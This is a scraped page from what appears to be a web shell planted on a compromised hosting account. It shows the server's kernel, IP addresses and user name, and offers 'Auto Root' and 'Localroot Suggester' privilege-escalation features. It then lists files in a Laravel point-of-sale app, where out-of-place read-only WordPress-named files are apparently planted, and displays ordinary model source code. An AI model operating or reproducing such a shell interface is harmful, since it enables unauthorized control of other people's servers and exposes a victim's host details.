Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
ap.tsgbd.com /
aa /
app /
Delete
Unzip
Name
Size
Permission
Date
Action
Backup
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Charts
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Console
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Events
[ DIR ]
drwxr-xr-x
2025-12-19 03:59
Exceptions
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Exports
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Http
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Listeners
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Mail
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Notifications
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Providers
[ DIR ]
drwxr-xr-x
2025-12-19 05:29
Restaurant
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Rules
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Utils
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
.htaccess
197
B
-r--r--r--
2025-12-18 07:34
Account.php
3.89
KB
-rw-r--r--
2025-02-06 04:36
AccountTransaction.php
4.4
KB
-rw-r--r--
2025-02-06 04:36
AccountType.php
486
B
-rw-r--r--
2025-02-06 04:36
Barcode.php
221
B
-rw-r--r--
2025-02-06 04:36
Brands.php
1.01
KB
-rw-r--r--
2025-02-06 04:36
Business.php
2.78
KB
-rw-r--r--
2025-02-06 04:36
BusinessLocation.php
5.42
KB
-rw-r--r--
2025-02-06 04:36
CashDenomination.php
230
B
-rw-r--r--
2025-02-06 04:36
CashRegister.php
585
B
-rw-r--r--
2025-02-06 04:36
CashRegisterTransaction.php
237
B
-rw-r--r--
2025-02-06 04:36
Category.php
2.92
KB
-rw-r--r--
2025-02-06 04:36
Contact.php
12.09
KB
-rw-r--r--
2025-02-06 04:36
Currency.php
104
B
-rw-r--r--
2025-02-06 04:36
CustomerGroup.php
1016
B
-rw-r--r--
2025-02-06 04:36
DashboardConfiguration.php
111
B
-rw-r--r--
2025-02-06 04:36
Discount.php
483
B
-rw-r--r--
2025-02-06 04:36
DocumentAndNote.php
928
B
-rw-r--r--
2025-02-06 04:36
ExpenseCategory.php
811
B
-rw-r--r--
2025-02-06 04:36
GroupSubTax.php
213
B
-rw-r--r--
2025-02-06 04:36
InvoiceLayout.php
1.06
KB
-rw-r--r--
2025-02-06 04:36
InvoiceScheme.php
836
B
-rw-r--r--
2025-02-06 04:36
Media.php
6.31
KB
-rw-r--r--
2025-02-06 04:36
NotificationTemplate.php
17.09
KB
-rw-r--r--
2025-02-06 04:36
PaymentAccount.php
693
B
-rw-r--r--
2025-02-06 04:36
Printer.php
1.65
KB
-rw-r--r--
2025-02-06 04:36
Product.php
5.34
KB
-rw-r--r--
2025-02-06 04:36
ProductRack.php
225
B
-rw-r--r--
2025-02-06 04:36
ProductVariation.php
448
B
-rw-r--r--
2025-02-06 04:36
PurchaseLine.php
1.85
KB
-rw-r--r--
2025-02-06 04:36
ReferenceCount.php
228
B
-rw-r--r--
2025-02-06 04:36
SellingPriceGroup.php
1.58
KB
-rw-r--r--
2025-02-06 04:36
StockAdjustmentLine.php
474
B
-rw-r--r--
2025-02-06 04:36
System.php
2.33
KB
-rw-r--r--
2025-02-06 04:36
TaxRate.php
2.66
KB
-rw-r--r--
2025-02-06 04:36
Transaction.php
13.31
KB
-rw-r--r--
2025-02-06 04:36
TransactionPayment.php
3.16
KB
-rw-r--r--
2025-02-06 04:36
TransactionSellLine.php
2.61
KB
-rw-r--r--
2025-02-06 04:36
TransactionSellLinesPurchaseLines.php
375
B
-rw-r--r--
2025-02-06 04:36
TypesOfService.php
758
B
-rw-r--r--
2025-02-06 04:36
Unit.php
1.28
KB
-rw-r--r--
2025-02-06 04:36
User.php
8.89
KB
-rw-r--r--
2025-02-06 04:36
UserContactAccess.php
113
B
-rw-r--r--
2025-02-06 04:36
Variation.php
1.62
KB
-rw-r--r--
2025-02-06 04:36
VariationGroupPrice.php
819
B
-rw-r--r--
2025-02-06 04:36
VariationLocationDetails.php
238
B
-rw-r--r--
2025-02-06 04:36
VariationTemplate.php
401
B
-rw-r--r--
2025-02-06 04:36
VariationValueTemplate.php
419
B
-rw-r--r--
2025-02-06 04:36
Warranty.php
1.3
KB
-rw-r--r--
2025-02-06 04:36
error_log
5.45
KB
-rw-r--r--
2025-12-19 05:56
wp-blog-header.php
2.74
KB
-r--r--r--
2025-12-18 07:34
wp-cron.php
2.74
KB
-rw-r--r--
2025-12-18 07:34
Save
Rename
<?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class AccountTransaction extends Model { use SoftDeletes; protected $guarded = ['id']; protected $casts = [ 'operation_date' => 'datetime', ]; public function media() { return $this->morphMany(\App\Media::class, 'model'); } public function transaction() { return $this->belongsTo(\App\Transaction::class, 'transaction_id'); } /** * Gives account transaction type from payment transaction type * * @param string $payment_transaction_type * @return string */ public static function getAccountTransactionType($tansaction_type) { $account_transaction_types = [ 'sell' => 'credit', 'purchase' => 'debit', 'expense' => 'debit', 'purchase_return' => 'credit', 'sell_return' => 'debit', 'payroll' => 'debit', 'expense_refund' => 'credit', 'hms_booking' => 'credit', ]; return $account_transaction_types[$tansaction_type]; } /** * Creates new account transaction * * @return obj */ public static function createAccountTransaction($data) { $transaction_data = [ 'amount' => $data['amount'], 'account_id' => $data['account_id'], 'type' => $data['type'], 'sub_type' => ! empty($data['sub_type']) ? $data['sub_type'] : null, 'operation_date' => ! empty($data['operation_date']) ? $data['operation_date'] : \Carbon::now(), 'created_by' => $data['created_by'], 'transaction_id' => ! empty($data['transaction_id']) ? $data['transaction_id'] : null, 'transaction_payment_id' => ! empty($data['transaction_payment_id']) ? $data['transaction_payment_id'] : null, 'note' => ! empty($data['note']) ? $data['note'] : null, 'transfer_transaction_id' => ! empty($data['transfer_transaction_id']) ? $data['transfer_transaction_id'] : null, ]; $account_transaction = AccountTransaction::create($transaction_data); return $account_transaction; } /** * Updates transaction payment from transaction payment * * @param obj $transaction_payment * @param array $inputs * @param string $transaction_type * @return string */ public static function updateAccountTransaction($transaction_payment, $transaction_type) { if (! empty($transaction_payment->account_id)) { $account_transaction = AccountTransaction::where( 'transaction_payment_id', $transaction_payment->id ) ->first(); if (! empty($account_transaction)) { $account_transaction->amount = $transaction_payment->amount; $account_transaction->account_id = $transaction_payment->account_id; $account_transaction->operation_date = $transaction_payment->paid_on; $account_transaction->save(); return $account_transaction; } else { $accnt_trans_data = [ 'amount' => $transaction_payment->amount, 'account_id' => $transaction_payment->account_id, 'type' => empty($transaction_type) ? $transaction_payment->payment_type : self::getAccountTransactionType($transaction_type), 'operation_date' => $transaction_payment->paid_on, 'created_by' => $transaction_payment->created_by, 'transaction_id' => $transaction_payment->transaction_id, 'transaction_payment_id' => $transaction_payment->id, ]; //If change return then set type as debit if (!empty($transaction_payment->transaction) && $transaction_payment->transaction->type == 'sell' && $transaction_payment->is_return == 1) { $accnt_trans_data['type'] = 'debit'; } self::createAccountTransaction($accnt_trans_data); } } } public function transfer_transaction() { return $this->belongsTo(\App\AccountTransaction::class, 'transfer_transaction_id'); } public function account() { return $this->belongsTo(\App\Account::class, 'account_id'); } }